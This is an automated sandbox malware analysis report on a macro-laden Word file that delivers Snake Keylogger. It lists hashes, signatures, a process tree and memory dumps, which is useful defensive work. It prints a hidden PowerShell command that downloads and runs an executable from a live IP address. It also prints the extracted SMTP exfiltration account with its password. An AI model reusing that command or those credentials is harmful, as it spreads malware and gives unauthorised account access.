Analysis
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max time kernel
122s -
max time network
124s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
18-06-2021 07:15
Static task
static1
Behavioral task
behavioral1
Sample
EFI_01037508200.doc
Resource
win7v20210410
General
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Target
EFI_01037508200.doc
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Size
387KB
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MD5
21ebc4527aecb50fc3adc65b610d3653
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SHA1
3cf5df8b2e1e670ea2c85eec6f048d0c889bd715
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SHA256
ea26039022e9c98e3d40700610f8c28f7d2b1d5f11394e0e22f2a40bf876ea31
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SHA512
07fca5507656fd96ca707c6c88f5b139d3f638e313c465b677f448be769606794ca48fe6018ddc80ee4477035f6713e2c5053077f5465e39247a4f8b33e568fc
Malware Config
Extracted
http://212.192.241.94/bluehost/75tgsoleApp19.exe
Extracted
snakekeylogger
Protocol: smtp- Host:
smtp.yandex.ru - Port:
587 - Username:
lagardan@yandex.com - Password:
pP!@*&@)555
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 2004 772 powershell.exe WINWORD.EXE -
Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
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Downloads MZ/PE file
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Executes dropped EXE 1 IoCs
Processes:
processever.exepid process 1860 processever.exe -
Loads dropped DLL 1 IoCs
Processes:
processever.exepid process 1488 processever.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 7 checkip.dyndns.org 12 freegeoip.app 13 freegeoip.app -
Suspicious use of SetThreadContext 1 IoCs
Processes:
processever.exedescription pid process target process PID 1488 set thread context of 1860 1488 processever.exe processever.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 772 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
powershell.exeprocessever.exeprocessever.exepid process 2004 powershell.exe 1488 processever.exe 1488 processever.exe 1860 processever.exe 1860 processever.exe 1860 processever.exe 1860 processever.exe 1860 processever.exe 1860 processever.exe 1860 processever.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeprocessever.exeprocessever.exedescription pid process Token: SeDebugPrivilege 2004 powershell.exe Token: SeDebugPrivilege 1488 processever.exe Token: SeDebugPrivilege 1860 processever.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 772 WINWORD.EXE 772 WINWORD.EXE -
Suspicious use of WriteProcessMemory 21 IoCs
Processes:
WINWORD.EXEpowershell.exeprocessever.exedescription pid process target process PID 772 wrote to memory of 2004 772 WINWORD.EXE powershell.exe PID 772 wrote to memory of 2004 772 WINWORD.EXE powershell.exe PID 772 wrote to memory of 2004 772 WINWORD.EXE powershell.exe PID 772 wrote to memory of 2004 772 WINWORD.EXE powershell.exe PID 772 wrote to memory of 1712 772 WINWORD.EXE splwow64.exe PID 772 wrote to memory of 1712 772 WINWORD.EXE splwow64.exe PID 772 wrote to memory of 1712 772 WINWORD.EXE splwow64.exe PID 772 wrote to memory of 1712 772 WINWORD.EXE splwow64.exe PID 2004 wrote to memory of 1488 2004 powershell.exe processever.exe PID 2004 wrote to memory of 1488 2004 powershell.exe processever.exe PID 2004 wrote to memory of 1488 2004 powershell.exe processever.exe PID 2004 wrote to memory of 1488 2004 powershell.exe processever.exe PID 1488 wrote to memory of 1860 1488 processever.exe processever.exe PID 1488 wrote to memory of 1860 1488 processever.exe processever.exe PID 1488 wrote to memory of 1860 1488 processever.exe processever.exe PID 1488 wrote to memory of 1860 1488 processever.exe processever.exe PID 1488 wrote to memory of 1860 1488 processever.exe processever.exe PID 1488 wrote to memory of 1860 1488 processever.exe processever.exe PID 1488 wrote to memory of 1860 1488 processever.exe processever.exe PID 1488 wrote to memory of 1860 1488 processever.exe processever.exe PID 1488 wrote to memory of 1860 1488 processever.exe processever.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\EFI_01037508200.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h Start-BitsTransfer -Source "htt`p://212.192.241.94/bluehost/75tgsoleApp19.exe" -Destination "C:\Users\Public\Documents\processever.exe";C:\Users\Public\Documents\processever.exe2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\processever.exe"C:\Users\Public\Documents\processever.exe"3⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\processever.exeC:\Users\Admin\AppData\Local\Temp\processever.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\processever.exeMD5
df6e05150232b27c424b0e7813487491
SHA1345a18019391a7d530628a55c2f1bd8379ef0ad5
SHA25652309c4bfd0f4a78a05edff800c412760c488ef60f6709f6f9038dc1f315f17a
SHA512d60d3fb015a997f52e6a069e427e0544e875ac84c1b48e7468b4e4b4a70df09a4bc7adbd5f8cefa57072df59d964480d99cc5b496750e3c12f4ab92f0c750db9
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C:\Users\Admin\AppData\Local\Temp\processever.exeMD5
df6e05150232b27c424b0e7813487491
SHA1345a18019391a7d530628a55c2f1bd8379ef0ad5
SHA25652309c4bfd0f4a78a05edff800c412760c488ef60f6709f6f9038dc1f315f17a
SHA512d60d3fb015a997f52e6a069e427e0544e875ac84c1b48e7468b4e4b4a70df09a4bc7adbd5f8cefa57072df59d964480d99cc5b496750e3c12f4ab92f0c750db9
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\Users\Admin\AppData\Local\Temp\processever.exeMD5
df6e05150232b27c424b0e7813487491
SHA1345a18019391a7d530628a55c2f1bd8379ef0ad5
SHA25652309c4bfd0f4a78a05edff800c412760c488ef60f6709f6f9038dc1f315f17a
SHA512d60d3fb015a997f52e6a069e427e0544e875ac84c1b48e7468b4e4b4a70df09a4bc7adbd5f8cefa57072df59d964480d99cc5b496750e3c12f4ab92f0c750db9
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memory/772-60-0x0000000072C81000-0x0000000072C84000-memory.dmpFilesize
12KB
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memory/772-61-0x0000000070701000-0x0000000070703000-memory.dmpFilesize
8KB
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memory/772-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/772-102-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1488-101-0x0000000004D90000-0x0000000004DF1000-memory.dmpFilesize
388KB
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memory/1488-96-0x0000000000A50000-0x0000000000A99000-memory.dmpFilesize
292KB
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memory/1488-95-0x0000000000B30000-0x0000000000B31000-memory.dmpFilesize
4KB
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memory/1488-93-0x0000000001150000-0x0000000001151000-memory.dmpFilesize
4KB
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memory/1488-92-0x0000000000000000-mapping.dmp
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memory/1712-91-0x000007FEFC181000-0x000007FEFC183000-memory.dmpFilesize
8KB
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memory/1712-90-0x0000000000000000-mapping.dmp
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memory/1860-105-0x000000000041FC9E-mapping.dmp
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memory/1860-104-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
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memory/1860-108-0x0000000000400000-0x0000000000424000-memory.dmpFilesize
144KB
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memory/1860-110-0x0000000004AE0000-0x0000000004AE1000-memory.dmpFilesize
4KB
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memory/2004-68-0x0000000002410000-0x000000000305A000-memory.dmpFilesize
12.3MB
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memory/2004-88-0x0000000005600000-0x0000000005601000-memory.dmpFilesize
4KB
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memory/2004-87-0x0000000006440000-0x0000000006441000-memory.dmpFilesize
4KB
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memory/2004-80-0x0000000006350000-0x0000000006351000-memory.dmpFilesize
4KB
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memory/2004-79-0x0000000006220000-0x0000000006221000-memory.dmpFilesize
4KB
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memory/2004-77-0x000000007EF20000-0x000000007EF21000-memory.dmpFilesize
4KB
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memory/2004-73-0x00000000056F0000-0x00000000056F1000-memory.dmpFilesize
4KB
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memory/2004-70-0x0000000005240000-0x0000000005241000-memory.dmpFilesize
4KB
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memory/2004-69-0x0000000002410000-0x000000000305A000-memory.dmpFilesize
12.3MB
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memory/2004-67-0x0000000005170000-0x0000000005171000-memory.dmpFilesize
4KB
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memory/2004-66-0x00000000047C0000-0x00000000047C1000-memory.dmpFilesize
4KB
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memory/2004-65-0x0000000002410000-0x0000000002411000-memory.dmpFilesize
4KB
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memory/2004-64-0x0000000075EF1000-0x0000000075EF3000-memory.dmpFilesize
8KB
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memory/2004-63-0x0000000000000000-mapping.dmp